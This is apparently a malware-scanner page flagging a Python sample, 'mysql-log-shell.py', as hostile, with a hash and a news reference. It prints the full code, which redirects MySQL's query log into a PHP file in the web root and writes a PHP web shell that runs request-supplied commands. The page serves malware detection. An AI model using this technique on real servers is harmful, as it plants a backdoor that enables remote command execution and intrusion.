Hostile 100% python Download

mysql-log-shell.py

MySQL logging writes selected server codeMySQL query log targets server script
SHA-256c73145ceb9b33f81bc132844d52824961b2fc4d1be7b568b54e1a73a3089f06b

Also flagged by https://www.malwarebytes.com/blog/feed/index.xml (Criminals are using ARTEX AI agents to speed up cyberattacks, FBI warns).

Evidence

Executable MySQL log precedes PHP query lines 1–10
1import pymysql
2
3connection = pymysql.connect(host="database.internal", user="operator", password="placeholder")
4with connection.cursor() as cursor:
5 cursor.execute("SET GLOBAL general_log = 'OFF'")
6 cursor.execute("SET GLOBAL log_output = 'FILE'")
7 cursor.execute("SET GLOBAL general_log_file = '/var/www/html/health.php'")
8 cursor.execute("SET GLOBAL general_log = 'ON'")
9 cursor.execute("SELECT '<?php system($_REQUEST[\"action\"]); ?>'")
10 cursor.execute("SET GLOBAL general_log = 'OFF'")

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.